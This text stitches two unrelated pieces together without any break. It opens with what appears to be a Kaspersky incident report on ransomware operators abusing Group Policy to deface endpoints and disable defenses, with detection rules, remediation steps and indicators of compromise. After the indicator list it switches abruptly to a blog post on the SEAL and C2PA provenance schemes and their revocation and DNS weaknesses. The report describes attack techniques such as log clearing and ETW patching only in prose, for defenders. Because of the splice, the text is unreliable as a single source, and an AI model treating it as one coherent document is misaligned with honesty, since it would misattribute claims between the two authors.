Attacks through group policies are nothing new. They can inflict significant, domain-wide damage with multiple malicious capabilities. A Group Policy Object (GPO) is essentially a combination of a Group Policy Container (GPC) in Active Directory and a Group Policy Template (GPT) in SYSVOL. The Group Policy scope depends on whether the GPC is linked to the directory tree at the domain, site, or organization unit (OU) level. A link at the domain root means the policy applies to every computer and user object beneath it. Thus, a GPO compromised at the domain root can affect all in-scope domain users and computers, potentially granting an attacker complete control over the corporate network. What makes GPO abuse even more dangerous is that group policies are processed in a trusted, high-privilege environment, ensuring persistence because endpoint cleanup is not enough to remove them.

We have already discussed GPO architecture and ways it can be compromised in greater detail in an earlier blog post. Other public threat intelligence has also repeatedly documented this technique in ransomware operations. Microsoft observed Ryuk operators distributing ransomware through Group Policy, SYSVOL startup items, and PsExec. LockBit affiliates have been documented modifying SYSVOL Group Policy files, including ScheduledTasks.xml, to support ransomware execution and propagation. BlackCat/ALPHV operators have also abused GPOs to create scheduled tasks and deploy ransomware.

Another notable example of GPO abuse is PAYLOAD ransomware, which weaponizes GPO Preferences and policy settings for pure impact rather than as a launcher for an encryptor. Let’s take a closer look at this attack, which is detailed further below.

Attack timeline

During the April 2026 investigation, we managed to reconstruct the attack timeline as outlined below:

Date	Event
11 April	Initial access. Threat actor authenticates to the FortiGate SSL VPN using a valid but compromised domain credential.
13 April	GPO authored. Malicious GPO, PAYLOAD ({C897F2C7-C2AC-4E6F-BF48-58036FF29E79}) created and linked at the domain root, configuring ransom notes, wallpaper, lock screen, logon banner, and administrator account disablement.
13 April	SYSVOL staging. The payload.jpg and hello.txt files written to \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\.
13 April	Second GPO. GPO named win Firewall Off ({22099AD2-E062-4F56-B574-5099BBA4E7A6}) linked at the domain root, disabling Windows Firewall on all profiles.
13 April	Dormancy. GPO cached on endpoints but computer configuration not yet applied — no endpoint had rebooted since the policy update.
13 April	Data exfiltration. Data exfiltration was observed originating from the file servers and several additional systems.
14 April	Detonation. Most of the endpoints begin rebooting; computer configuration policies apply. Ransom wallpaper, logon banner, and notes appear. Operational disruption begins.
15 April	Response. Kaspersky GERT engaged. Forensic triage of affected workstations and the domain controller initiated.
16 April	Assessment. GERT confirms no file encryption, no resident malware, no endpoint persistence.

Next, we will discuss each of these stages in more detail and share the findings from our incident response activities.

Incident overview

Initial access

The entry vector was a compromised valid account (MITRE ATT&CK T1078) used to authenticate through the organization’s FortiGate SSL VPN — an external remote service (T1133). Insufficient logging on the FortiGate appliance prevented us from reconstructing how the credential was originally compromised.

Three hypotheses were considered plausible in the context of the attack, in no particular order:

• Password spraying or credential stuffing against the SSL VPN portal.
• Phishing-led credential harvesting.
• Purchase of pre-compromised credentials from an initial access broker (IAB).

Once on the internal network, the actor operated with the compromised security principal’s privileges. Because the account was able to create and link a GPO at the domain root, it held either domain admin privileges or a delegated equivalent (e.g., membership of Group Policy Creator Owners combined with link rights on the domain object).

FortiGate SSL VPN authentication logs and ESXi/virtualization privilege escalation logs were insufficient to reconstruct the lateral movement and privilege escalation chain between initial VPN access and the GPO write privilege level. The most common real-world routes to GPO control — DCSync, Kerberoasting of privileged service accounts, and Pass-the-Hash/Pass-the-Ticket — could not be confirmed or ruled out.

Execution

Rather than deploying an encryptor, the actor abused the victim’s Active Directory policy infrastructure, resulting in malicious GPOs being configured and linked at the domain root to deliver the observed impact across domain-joined systems. The two GPOs below constitute the entire offensive toolkit observed.

The PAYLOAD GPO

We performed a Resultant Set of Policy (RSOP) analysis, which helped us list all policy settings on the affected workstations. From these results, we reconstructed the following changes delivered by PAYLOAD:

GPO extension/CSE	Setting/path	Configured value/resulting action
Files (Group Policy Preference)	Source SYSVOL\hello.txt → Desktop, C:\, D:\	Dropped as README-payload.txt (ReadOnly)
Registry (Computer)	HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption	Welcome to Payload!
Registry (Computer)	HKLM\…\Policies\System\legalnoticetext	(ransom demand text)
Personalization Policy	Lock Screen Image	\\DC.THECOMPANY.local\sysvol…\payload.jpg
Desktop Policy (User)	Wallpaper path	\\DC.THECOMPANY.local\sysvol…\payload.jpg
Security Settings (GptTmpl.inf)	Accounts: Administrator account status	Disabled

The PAYLOAD GPO enabled the following actions:

1. Drop SYSVOL\hello.txt to the desktop and root directories C:\ and D:\ as a read-only README-payload.txt by tampering with the “Group Policy Files” client-side extension (CSE).
2. Modify the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ registry key, changing the legalnoticecaption value to "Welcome to Payload!" and the legalnoticetext to the ransom note text through the “Group Policy Registry” CSE.
3. Set payload.jpg located in the targeted domain controller’s SYSVOL as the lock screen image by altering the personalization policy, and as the wallpaper by altering the desktop policy at the user level.
4. Revoke administrator rights for the administrator account (locking the account) by editing the Security Settings CSE in the GptTmpl.inf file.

Settings changed by PAYLOAD GPO

This activity was enabled entirely through a legitimate group policy mechanism, meaning there is no malware code for security solutions to look for because the malicious logic is contained within the policy configuration.

The win Firewall Off GPO

A second domain-root-linked GPO, named “win Firewall Off”, disabled Windows Firewall across the domain, private and public profiles on all endpoints (T1562.004). Deployed independently of PAYLOAD, this object degraded host defenses and ensured the actor retained unimpeded network reach to endpoints for any follow-on activity.

The one-day delay detonation

The most forensically instructive detail is the one-day gap between GPO creation (13 April) and visible impact (14 April). Analysis of Master File Table (MFT) timestamps and the Group Policy History registry key confirmed the policy was written to SYSVOL and cached on endpoints on 13 April. However, computer configuration settings (wallpaper and lock screen machine policy, security settings, firewall disabling) only apply upon reboot or policy refresh — and no endpoint had rebooted in the interim. The attack therefore remained dormant in the GPO cache for one day before detonating en masse when machines were restarted in accordance with standard procedures.

We have to point out here that this delayed policy application is characteristic of GPO-based operations and has two potential consequences for defenders. Firstly, it may grant the actor a quiet window for exfiltration, persistence, or further staging between weaponization and impact. Secondly, it can be used to sever the temporal link between the cause (a GPO-creation event in the directory log) and the effect (mass user-visible disruption occurring at a later time), complicating timeline reconstruction unless directory service auditing is in place.

Forensic findings

Initial incident response engagement revealed a number of findings associated with the attack that we share below.

1. No file encryption
   A full review of the MFT on affected workstations found no files bearing a .payload extension characteristic to PAYLOAD ransomware and no evidence of bulk renaming or encryption I/O patterns. The attackers’ objectives were operational disruption and extortion via visual impact and access denial.
2. No endpoint persistence
   All standard persistence locations were clean:
   • Scheduled tasks — no malicious tasks
   • Run/RunOnce keys — clean
   • Startup folders (user and system) — clean
   • Services — no malicious service installed
   • WMI event subscriptions — none
   • Boot sector/MBR — unmodified

   The attack’s persistence mechanism is the GPO link itself on the domain controller, with no endpoint-resident component.

3. No active malicious processes
   Live process and memory analysis revealed no injected threads, process hollowing or anomalous outbound connections.
4. Registry timeline analysis
   Group Policy History, Shadow and State registry keys on the workstation recorded the application of PAYLOAD on 13 April:
   HKLM\…\Group Policy\History\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\1
   HKLM\…\Group Policy\Shadow\{827D319E-6EAC-11D2-A4EA-00C04F79F83A}\0
   HKLM\…\Group Policy\State\Machine\GPO-List\7
   HKCU\…\Group Policy\History\{7150F9BF-48AD-4da4-A49C-29EF4A8369BA}\1
   HKCU\…\Group Policy\State\S-1-5-21-…\Loopback-GPO-List\5
   The presence of the “Loopback-GPO-List” entry indicates the GPO was processed in loopback mode, ensuring the user configuration (wallpaper) applied regardless of which user logged on to the machine.
5. SYSVOL artifacts
   Two files were staged on the domain controller’s SYSVOL share and served to endpoints through the Files Group Policy Preference CSE:
   • payload.jpg — the ransom image used for both wallpaper and lock screen.
   • hello.txt — the ransom note, distributed to desktops and drive roots as README-payload.txt.

Detection engineering

Because no malicious binary or process exists, the detection logic should focus on the directory service and SYSVOL indicators. Below are the highest-value telemetry sources for identifying the described malicious activity.

• Directory service change auditing (DS Access)
  Enable Advanced Audit Policy → DS Access → Audit Directory Service Changes on all domain controllers and set up alerts for the following events:

  Event ID	Meaning	Hunt focus
  5137	A directory service object was created	The account that created new groupPolicyContainer objects must be an authorized GPO administrator
  5136	A directory service object was modified	Changes to gPLink on the domain root or sensitive organizational units; changes to gPCMachineExtensionNames/gPCUserExtensionNames/gPCFileSysPath/versionNumber for all GPOs
  5141	A directory service object was deleted	GPO deletions (relevant for tamper detection and remediation assessment)

  A gPLink modification at the domain root by a non-standard account is one of the most telling indicators of this attack class.

• SYSVOL file integrity monitoring
  Monitor \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\Policies\ for unexpected files, particularly image files, text files, scripts, ScheduledTasks.xml, and modified registry.pol/GptTmpl.inf files that were created by sources other than legitimate replication.
• Endpoint policy application telemetry
  On endpoints, GPO application is logged in the Group Policy Operational log (Microsoft-Windows-GroupPolicy/Operational) and reflected in the History and Shadow registry keys shown above. A sudden domain-wide change to the applied policy set is a strong post-detonation signal.
• Missing 5136 events
  If the contents of a GPO’s SYSVOL change without a corresponding 5136 event, this can indicate direct SYSVOL/template editing (e.g., via open-source tools such as PowerView or SharpGPOAbuse) that bypasses the normal Group Policy Management Console (GPMC) modification path. While we recommend treating the absence of expected audit events as suspicious, it should be noted that this can be caused by misconfigured auditing.

Anti-forensics and recovery-inhibition capabilities

Confirmed PAYLOAD family capabilities

The Windows endpoint attack described in this report was implemented through malicious Group Policy Objects and did not involve a recovered ransomware executable, resident endpoint malware, confirmed file encryption or active malicious processes at the time of the forensic examination. However, PAYLOAD cryptomalware for Windows does exist, and other sources, including public analysis of its samples, reveal further malicious capabilities of this ransomware that could be used by security teams to enrich detection logic and security policies.

The behaviors documented in this section must therefore be interpreted as family-level capabilities identified through the public reverse engineering of PAYLOAD ransomware samples. They were not confirmed as having executed during the GPO-based incident unless corresponding evidence was identified in the host, memory, process, event-log, or hypervisor.

Windows Event Log clearing

Public reverse engineering of the PAYLOAD Windows variant reveals an optional event log clearing capability (T1685.005, formerly T1070.001). The ransomware dynamically resolves Windows Event Log APIs, enumerates available event log channels, and clears individual channels.

Implementation artifacts include:

• Runtime loading of wevtapi.dll
• EvtOpenChannelEnum
• EvtNextChannelPath
• EvtClearLog
• Enumeration of Security, System, Application, and PowerShell logs, and operational channels
• A command-line option controlling whether log clearing is performed

Clearing event logs reduces the availability of records related to process execution, authentication, PowerShell, service control, and system changes. However, it does not necessarily remove events that were already forwarded to a SIEM, Windows Event Collector, EDR backend, or protected log archive.

Forensic indicators

• Windows Security Event ID 1102
• Event logging shutdown or failure events
• Sudden reductions in event record identifiers
• Multiple event channels restarting from low record numbers
• Gaps between endpoint and centrally forwarded telemetry
• Execution of utilities or APIs associated with log management
• Direct access to EVTX files (Windows Event Log files) under the Windows event log directory

We should note that these indicators can’t be interpreted on their own. For instance, Event ID 1102 should be correlated with a number of aggravating factors, such as:

• Event ID 4688 or Sysmon Event ID 1 for process creation
• Event ID 4624 for the associated administrative logon
• EDR process trees
• PowerShell operational logging
• Windows Event Forwarding records
• Privileged access management activity

At the same time, the absence of Event ID 1102 does not prove that log clearing did not occur. Direct deletion, truncation, service impairment, or an incomplete audit configuration may produce different evidence.

Security process and service termination

PAYLOAD analysis reveals that the Windows ransomware variant contains logic that targets security processes and services (T1685 and T1489). This capability is intended to stop security products, backup software, database services, and applications that may lock files targeted for encryption.
Process and service termination serves several objectives:

1. Reduce endpoint detection and response visibility.
2. Release file handles so data can be modified.
3. Interrupt backup and recovery services.
4. Prevent databases and enterprise applications from protecting active data.
5. Reduce interference with encryption operations.

Forensic indicators

• Security agent services changing from running to stopped
• Event ID 7036 service state changes
• Event ID 7040 service start type changes
• Event ID 4688 or Sysmon Event ID 1 for service control utilities
• Sysmon Event ID 5 for terminated processes
• EDR health degradation affecting many endpoints
• Repeated termination attempts against security or backup processes
• Execution of dedicated process killing utilities

VSS deletion, backup and recovery suppression

Public PAYLOAD sample analysis reports the deletion of Windows Volume Shadow Copies before encryption (T1490). This behavior removes local restore points and reduces the victim’s ability to recover files without external backups.

Recovery inhibition is broader than VSS deletion and may include multiple other malicious techniques, including the following:

• Deleting shadow copies, backup catalogs, and hypervisor snapshots
• Disabling recovery services
• Modifying boot recovery settings
• Compromising backup management platforms
• Deleting or encrypting backup repositories

In the PAYLOAD Windows sample that is proven to perform encryption, VSS deletion is confirmed to have taken place before encryption. A broader compromise of the backup platform was not established in the investigated incident.

Forensic indicators

• Execution of shadow copy management utilities
• Backup catalog deletion attempts
• Recovery configuration changes
• Backup service termination
• Mass snapshot deletions
• Backup administrator logons outside normal maintenance windows
• Backup retention or immutability changes
• Backup jobs failing immediately before disruptive activity

Ecosystem-relevant ransomware techniques

Above, we discussed the techniques specific to PAYLOAD ransomware. In this section, we’ll review other common ransomware techniques, such as BYOVD abuse and ESXi policy weakening, that remain relevant risks in the ransomware ecosystem. However, these techniques should not be attributed to this incident without supporting driver load, process, memory, ESXi, vCenter, or backup platform telemetry. We describe these techniques below as they may prove useful in other ransomware-related forensic investigations.

The examples used in this section are therefore ecosystem-relevant: they are commonly observed in ransomware operations but not conclusively attributed to the analyzed PAYLOAD samples.

ETW suppression and in-memory patching

Event Tracing for Windows (ETW) is a kernel-supported tracing architecture used by Windows components, diagnostic utilities, security products, and endpoint monitoring systems.

Although we didn’t encounter this technique in our case, some ransomware families can patch ETW-related functions inside the ransomware process (T1685, formerly T1562.001). The reported routine changes the memory protection of code pages, overwrites the beginning of selected ETW functions so they return without producing events, restores the original protection, and refreshes the instruction cache.

Reported target functions include EtwEventWrite, EtwEventWriteFull, EtwEventWriteTransfer, and EtwRegister.

This modification applies to the process-local mapping of ntdll.dll. It does not disable ETW globally across Windows, but it can reduce the telemetry generated by the modified process.

Forensic indicators

• Writable or recently modified executable pages within ntdll.dll
• Memory protection changes affecting ETW function addresses
• In-memory code differing from the corresponding clean DLL on disk
• EDR memory tampering alerts
• Unexpected calls to memory protection APIs followed by telemetry silence
• Process execution visible in network or filesystem telemetry but absent from expected ETW-derived sources
• Inconsistent telemetry between EDR, Sysmon, Windows Event Logs, and network monitoring

It should be noted that telemetry gaps are not conclusive evidence of ETW patching. Other factors include agent upgrades, network outages, endpoint shutdowns, SIEM ingestion failures, collector backpressure, and filtering or licensing changes.

Memory acquisition is the strongest validation source when process-local ETW patching is suspected.

Vulnerable signed driver abuse, BYOVD

Bring Your Own Vulnerable Driver (BYOVD) involves introducing or abusing a legitimately signed but vulnerable kernel driver (T1068 and T1685). The attacker exploits the driver’s exposed functionality to gain kernel-level capabilities, modify protected memory, terminate security processes, remove security callbacks, or bypass operating system security controls.

BYOVD is highly relevant to contemporary ransomware operations. However, the reviewed public PAYLOAD analyses do not provide sufficient evidence to conclude that BYOVD is an intrinsic PAYLOAD capability.

It should therefore be presented as an ecosystem-relevant technique rather than a confirmed PAYLOAD feature.

Forensic indicators

• Unexpected .sys files written to user-writable or temporary directories
• New kernel driver services
• Sysmon Event ID 6
• Driver hashes matching Microsoft or community vulnerable driver blocklists
• Invalid, revoked, expired, or unusual driver signatures
• Driver load followed by EDR termination
• New privileged processes immediately following driver loading
• Code Integrity or Defender alerts
• Service creation events referencing driver files

ESXi security policy weakening

Ransomware operators are increasingly targeting ESXi and vCenter because compromising the virtualization layer provides access to many business-critical virtual machines.

Public research typically describes operators performing the following activities (T1685, T1490 and T1489):

• Enabling SSH on ESXi hosts
• Changing root passwords
• Disabling execInstalledOnly
• Modifying lockdown mode exceptions
• Stopping virtual machines
• Deleting snapshots and backups
• Changing host firewall policies
• Copying custom ransomware binaries to hypervisors

On the target organization’s Linux servers we saw an ESXi PAYLOAD variant, which makes this behavior operationally relevant. Nevertheless, the reviewed evidence does not indicate that PAYLOAD operators used any of these policy-weakening actions in the investigated incident.

Forensic indicators

• Unexpected ESXi SSH enablement
• Changes to execInstalledOnly
• Secure Boot enforcement changes
• Lockdown mode configuration changes
• Root password changes
• New or unusual administrator accounts
• Bulk VM shutdown activity
• Bulk snapshot deletion
• New binaries in datastore or temporary paths
• vCenter tasks originating from unexpected accounts or systems
• Missing or disabled remote syslog forwarding

Remediation

To contain the described threat and limit possible damage, several remediation steps should be taken. Below, we recommend a four-phase remediation approach for containing this threat and restoring the affected environment.

Phase 1 — domain controller actions (to be performed first)

When dealing with PAYLOAD GPO, the first priority of the remediation plan should be to remove the source GPOs. Until this is done, endpoint cleanup is ineffective because the next policy refresh re-infects cleaned machines.

The immediate domain controller actions to be taken are:

1. Delete PAYLOAD GPO. Remove {C897F2C7-C2AC-4E6F-BF48-58036FF29E79} via GPMC.
2. Delete or revert win Firewall Off GPO. Remove {22099AD2-E062-4F56-B574-5099BBA4E7A6}.
3. Clean SYSVOL. Delete jpg and hello.txt from \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\.
4. Rotate credentials. Reset the compromised account; audit all privileged accounts and group memberships for unauthorized changes; rotate krbtgt twice if domain admin compromise is confirmed.
5. Force refresh. Perform gpupdate /force across endpoints after deletion; re-enable local administrator and firewall via clean policy.

Phase 2 — Active Directory and GPO hardening

• Adopt the AD tiered administration model and confine domain admins to Tier 0 with no interactive logon to workstations and member servers.
• Separate GPO creation from GPO linking rights, and grant both only to a dedicated, audited administrator role.
• Enable GPO change auditing (Event IDs 5136, 5137, 5141) and forward to a SIEM.
• Monitor SYSVOL with file integrity tooling.

Phase 3 — credential and access hardening

• Enforce phishing-resistant MFA on all VPN and remote access entry points.
• Deploy Windows LAPS to generate unique, rotated local administrator passwords.
• Enable Credential Guard to protect LSASS-resident secrets.
• Adopt Privileged Access Workstations (PAW) for all administration.
• Implement just-in-time elevation through Privileged Identity Management (PIM) for domain admin.

Phase 4 — detection and monitoring

• SIEM rule: GPO creation or domain-root gPLink change by a non-standard account.
• SIEM rule: file creation events under SYSVOL from non-replication sources.
• Implement enhanced, centrally collected FortiGate SSL VPN logging (auth events, session detail, source IP geolocation, impossible travel check) and detailed perimeter monitoring.
• Deploy a canary GPO whose application anywhere signals attacker GPO write access.

Conclusion

PAYLOAD demonstrates a maturing tactic of turning the victim’s own trusted infrastructure into a weapon. By weaponizing Group Policy, the actor achieved a domain-wide impact without a single malicious binary on any endpoint, evaded file- and process-based detection entirely, and caused organization-wide disruption within seconds of the first reboot.

The absence of encryption is the most strategically significant finding and is consistent with the 2026 trend toward encryptionless extortion. At Kaspersky GERT, we assess with moderate confidence that the missing encryption reflects one of two scenarios: (1) a deliberate decision to stay below the irreversible data destruction threshold while preserving the option of a follow-on encryption phase, or (2) an operation interrupted before full execution.

The absence of encrypted files must not be mistaken for the absence of a serious compromise — the most critical impact lies in the actor gaining domain admin-level control. This incident proves that a threat actor with domain admin access and a working knowledge of group policy internals can inflict domain-wide disruption equivalent to a ransomware attack without writing a single malicious file to any endpoint.

Detection strategies anchored solely in file- or process-based indicators are blind to this attack class. Effective controls include directory service change auditing, SYSVOL integrity monitoring, and privileged access governance, which allow for GPO protection.

Detection by Kaspersky solutions

Kaspersky security solutions effectively detect the described malicious activity at various stages of the attack. Possible detection scenarios are listed below.
To protect organizations that use our Kaspersky SIEM system, we have prepared a package of correlation rules designed to help detect this type of malicious activity. The rules are now available for customers to download from the SIEM repository; the package name is: [OOTB] Group policy hijacked: PAYLOAD ransomware – ENG.

The “Group policy hijacked: PAYLOAD ransomware” package contains rules that detect suspicious file creation or modification in the SYSVOL shared folder on a domain controller, as well as changes to critical attributes and settings of domain group policies. Some rules may require adjustment if they trigger in response to legitimate activity, such as synchronization between domain controllers or the configuration of a new group policy.

To ensure the detection rules function correctly, verify that events from Windows systems are being received in full, including events with the following identifiers: Sysmon: 11, Security — 4663, 5136, 4657.

We also recommend applying the following rules available in the repository to detect all attack stages.

• Detection of Windows Event Log clearing to cover up traces of an attack: R050_03_Windows Event Log was cleared
• Detection of suspicious access to the LSASS process, which may indicate attempts to dump credentials: R262_Suspicious access to the LSASS process
• Detection of the Volume Shadow Copy service being started, which is used to create shadow copies before deleting them: R231_20_Running the Volume Shadow Copy service
• Detection of shadow copy deletion: R321_Shadow copy deletion
• Detection of Windows Defender disablement: R076_01_Windows Defender Antivirus was disabled
• Detection of attempts to disable or modify the system firewall: R240_03_Disabling system firewall via the registry
• Detection of a service installation from a non-system folder, which may indicate malware persistence techniques: R281_01_Installation of a service from a non-system folder

For the rules in this list to function correctly, it is necessary to configure Security event auditing for event IDs 4663, 5136, 4657, 7036, and 1102.

In addition to the SIEM system, when audit settings are configured correctly, the process of creating, modifying, and deleting GPOs generates a large number of characteristic artifacts on the domain controller, enabling Kaspersky Endpoint Detection and Response Expert to promptly alert the user to anomalies in the infrastructure.

The creation of a new GPO is covered by the gpo_creation rule, which triggers in response to the corresponding event in the infrastructure. Changes to existing policies are detected by the following rules:

• The setting_the_gpcmachineextensionname_attribute rule detects changes to the gPCMachineExtensionNames attribute.
• The setting_the_gpcfilesyspath_attribute rule detects the use of the gPCFileSysPath attribute of a Group Policy Object, which specifies the path to the GPO’s contents in SYSVOL.
• The broader rule setting_the_grouppolicycontainer_class detects a change to the groupPolicyContainer class.

GPO deletion is covered by the gpo_deletion rule.

In the next major version update of Kaspersky EDR Expert, a new event type, GPO, will be introduced, allowing users to track changes to Group Policy Objects.

For information security officers, GPO events will serve as an additional source of context when investigating activity in Active Directory and will help detect changes that could affect the configuration, access rights, and security of endpoints before a potentially malicious policy is deployed.

MITRE ATT&CK mapping

Tactic	Technique	Observed behavior
Initial Access	T1078 — Valid Accounts	Compromised domain credential used for VPN authentication
Initial Access	T1133 — External Remote Services	FortiGate SSL VPN used as entry point
Privilege Escalation	T1078.002 — Domain Accounts	Account held domain-level GPO create/link rights
Privilege Escalation/Defense Impairment	T1484.001 — Group Policy Modification	Malicious PAYLOAD GPO created and linked at domain root; re-applies on every refresh/reboot; uses trusted channel to evade EDR
Defense Impairment	T1686 — Disable or Modify System Firewall	win Firewall Off GPO disables Windows Firewall on all profiles
Impact	T1491.001 — Internal Defacement	Wallpaper and lock screen replaced with ransom image
Impact	T1531 — Account Access Removal	Local Administrator account disabled via GPO Security Settings
Collection	T1005 — Data from Local System	Data exfiltration was observed originating from the file servers
Command and Control	T1071 — Application Layer Protocol	No live C2 confirmed; delivery achieved entirely via GPO

Indicators of compromise

GPOs
PAYLOAD ransomware GPO: {C897F2C7-C2AC-4E6F-BF48-58036FF29E79}
win Firewall Off GPO: {22099AD2-E062-4F56-B574-5099BBA4E7A6}

File names and MD5 hashes
payload.jpg: Ransom wallpaper and lock screen image (SYSVOL)
hello.txt: Ransom note source (SYSVOL)
README-payload.txt: Ransom note dropped to desktops and drive roots
killer.exe (0108656A3E1ADE6CA4F21B084F5E1208): process killer tool
kill.exe (BEA5E267F24D7DA59F6821BFFDBFF293): process killer tool

IP addresses
37.19.210[.]12
146.70.117[.]239
149.102.229[.]154
104.164.55[.]46
104.28.162[.]228
104.28.163[.]162
64.190.76[.]14
192.42.116[.]50
192.42.116[.]12
192.42.116[.]56
192.42.116[.]97
192.42.116[.]52

Registry keys
HKLM\...\Policies\System\legalnoticecaption = Welcome to Payload!

SYSVOL path
\\DC.THECOMPANY.local\sysvol\THECOMPANY.local\payload.jpg

Event IDs
5137: GPO object creation on DC — review creator account
5136: GPO attribute modification — watch gPLink at domain root

In the late night and evenings (and between meetings), I've been working on projects related to SEAL (Secure Evidence Attribution Label) and C2PA.

C2PA is the Coalition for Content Provenance and Authenticity. Don't read too much into the name, because it does not provide any kind of content authenticity or reliable provenance. Readers of my blog have seen me repeatedly document design flaws, demonstrate how C2PA's approach is unreliable, and how it can be used to create signed forgeries that, under C2PA's solution, look identical to untampered media.

Back in 2023, I was posting a series that disclosed C2PA's vast array of critical problems. It culminated in a chat between representatives from C2PA and CAI (all Adobe employees) and myself with a coworker. C2PA's Chief Architect acknowledged the problems and asked if I knew of any alternatives. (This false dichotomy bothered me because lacking another alternative does not mean that C2PA works.) A few weeks later, SEAL was created. (It was initially called VIDA, but was renamed to SEAL a few months later.)

Today, SEAL has full specs, implementations in C and JavaScript, a free remote signing server (SignMyData) with web-based validator (that does not require uploading content off your computer), and more!

SEAL Updates

Behind the scenes, SEAL has had some big updates.

I'm happy to say that SEAL has survived a serious review by some folks at the University of Maryland, Baltimore County (UMBC). They have a Protocol Analysis Lab (PAL) and Cyber Defense Lab (CDL) that evaluated SEAL in depth. They didn't just review the specs and code, they used formal methods with CPSA (Cryptographic Protocol Shapes Analyzer) to model the solution. Their findings?

• Very positive: SEAL does what it claims. It provides a strong cryptographic signature over the file, identifies the signer, and prevents impersonation attacks. (These same goals have serious design and implementation weaknesses under C2PA. I can create authentic-looking forgeries with C2PA; with the fixes suggested by PAL/CDL, I cannot create authentic-looking forgeries with SEAL.)


• Exclusion range: They found two nasty exploits related to the exclusion range. Basically, the specs didn't explicitly say that the exclusion range for computing the signature must be minimal. A malicious user could exclude the SEAL record from the signature, permitting post-signing alterations.
  
  Fortunately, both of these bugs were easily addressed in the specs and in the code. (The C implementation, SEAL-C has the fix, while the JavaScript version, SEAL-JS is coming.) The fix is fully backwards compatible with previous signatures. (If you intentionally made a lax exclusion range, it will be flagged and either warned or rejected depending on whether it touches the SEAL record itself.)


• Security Documents: At the request of UMBC PAL/CDL, I've added a Security Considerations document. This describes many of the attacks, countermeasures, and mitigation options that they identified.


• Missed Revocation Condition: In the JavaScript implementation, PAL/CDL found a missed if-condition. The fix has been submitted and checked in.

The issues were the only SEAL-specific findings, and they have been addressed.

Along with the SEAL-specific problems, PAL/CDL found a few other issues that impact virtually every public/private key cryptographic solution. The issues? Revocation and DNS.

The Revocation Problem

When using public/private key cryptography (PKI), what do you do if the private key is compromised? That's the revocation problem. The folks at PAL/CDL found a nasty attack that impacts almost every PKI solution. It definitely impacts both SEAL and C2PA, even though we have very different PKI implementations. It also impacts DKIM (email), signed PDF documents, single-sign-on (SSO), and pretty much all other solutions that use a cryptographic signature.

The problem: when a key is compromised, you revoke it. You can even attach a date for when the revocation takes effect. An attacker with the stolen key can easily backdate new media to a time before the revocation date. (Ouch!)

C2PA currently has no solution to this problem. They simply rely on a trusted signing authority (TSA) and hope it will never be compromised. But that just kicks the problem down the road. If a TSA's private key is compromised, then it can indefinitely backdate material to a time before the revocation.

Even worse: C2PA requires an RFC3161-compliant timestamp server. According to RFC3161, every TSA certificate MUST support revocation. C2PA currently has 22 C2PA-approved TSA certificates, of which 16 do not have any kind of revocation enabled. (C2PA's own trusted list is not compliant with C2PA's specs.)

With SEAL, we have a clever workaround. If the media is signed using a revoked key, then check the key's date. If it was signed after the date, then it is clearly revoked. But if it's signed before the date? Then it can be 'suspect' (neither valid nor invalid). To confirm the validation, it must be compared against some kind of independent service to make sure it existed before the revocation date. (Huh?)

Basically, if the media is dated 2026-08-15 and the revocation date is 2026-08-30 (after it was signed), then see if you can find some other instance of the media before the revocation date. For example:

• Is it hosted on a news site, the Internet Archive, tagged by some kind of block-chain, etc.


• If it's legal evidence or a tracked file, was it received before the revocation date?

If it can be shown to have existed before the revocation date, then it's still valid.

But what if you can't find it anywhere else? Then the file is suspect. It could be valid, but you need to confirm it using some other means.

This same cross-validation approach works for other documents. However, as far as I can tell, only SEAL explicitly defines this pre-revocation validation approach.

The DNS Problem

The Domain Naming System (DNS) is what converts a hostname (like "hackerfactor.com") into a network address (e.g., 104.21.67.249). The entire Internet is based on DNS. Even if you don't think your PKI solution uses DNS, you're using DNS.

For SEAL, the DNS usage is explicit: the public key is stored in a DNS record. DNS is only required during validation. The DNS record attributes the public key (for verification) with the signer and includes any revocation information.

For C2PA, the DNS usage is implicit, optional (in a bad way), and needed for both signing and validating. How C2PA uses DNS:

• C2PA has different kinds of signatures. The minimum signature requires a signing cert. If you're part of C2PA's conformance program, then the signature is only good for 366 days (Assurance Level 1) or 90 days (Assurance Level 2). When the certificate expires, you can no longer validate the signature. You need DNS to access the conformance program listing, check if the signer is a conforming product, and retrieve the C2PA list of trusted certificates.


• To keep the signature valid for more than 366 days, C2PA requires the use of timestamp from a known Time Stamp Authority (TSA). This requires Internet access, which requires DNS. Keep in mind, using a TSA is optional according to the C2PA specs.


• The Google Pixel 10 tries to get around this network requirement by having a built-in TSA. That's good. However, their signing certificates all come from Google. The device pre-loads a handful of certs over the Internet (DNS!) and uses them for signing.


• C2PA explicitly makes revocation checking optional. (This is the point where every cryptographer wakes up and shouts "WTF!") C2PA explicitly forbids the use of a downloadable certificate revocation list (CRL). Instead, they suggest (not require) the use of the Online Certificate Status Protocol (OCSP). (Let's ignore the fact that all of industry is moving away from OCSP and requiring CRLs.) As noted in the C2PA specs (my bold for emphasis):
  

  14.5.2. Certificate Revocation
  
  X.509 certificates support revocation status queries. A claim generator should use the Online Certificate Status Protocol (OCSP, RFC 6960) and OCSP stapling (as originally conceptualized in RFC 6066, Section 8, but implemented as described in this clause) to implement revocation. The claim generator shall not use Certificate Revocation Lists (CRLs, RFC 5280).
  ...
  15.9. Validate the Credential Revocation Information
  
  For CA certificates, the validator should determine revocation status as indicated in the Authority Information Access (AIA) extension as described in RFC 5280, section 4.2.2.1. The validator should make use of relevant OCSP responses included in the C2PA Manifest if the AIA extension indicates that OCSP is available.

  In spec-speak, "should" is optional, while "shall not" is a requirement. With OCSP, the certificate says where to access the online validation service (via URL, which means using DNS to find the service). Then again, CRLs also require using a URL (DNS) to download the list.

Regardless of whether you are using SEAL, C2PA, or some other provenance solution, what can a malicious actor do if they can alter your DNS query or the DNS response?

• At best, they can block the reply and make a valid signature appear unverifiable.


• At worst, they can alter the reply and make a valid signature appear revoked or invalid.


• They can make a revoked signature appear valid or unverifiable.


• If they can send you fake media to evaluate, then they can combine their own fake signature with a hijacked DNS response to make the signed file appear valid.

C2PA only defines two OCSP states: revoked and valid. If it's not revoked, then it's valid. If the network request cannot be completed (or is never attempted because it's optional), then the certificate appears valid. This means that two different validators can reach conflicting conclusions about the same media, and both can be right! (One validator says the media is invalid due to revocation, and the other finds it valid because it never checked.)

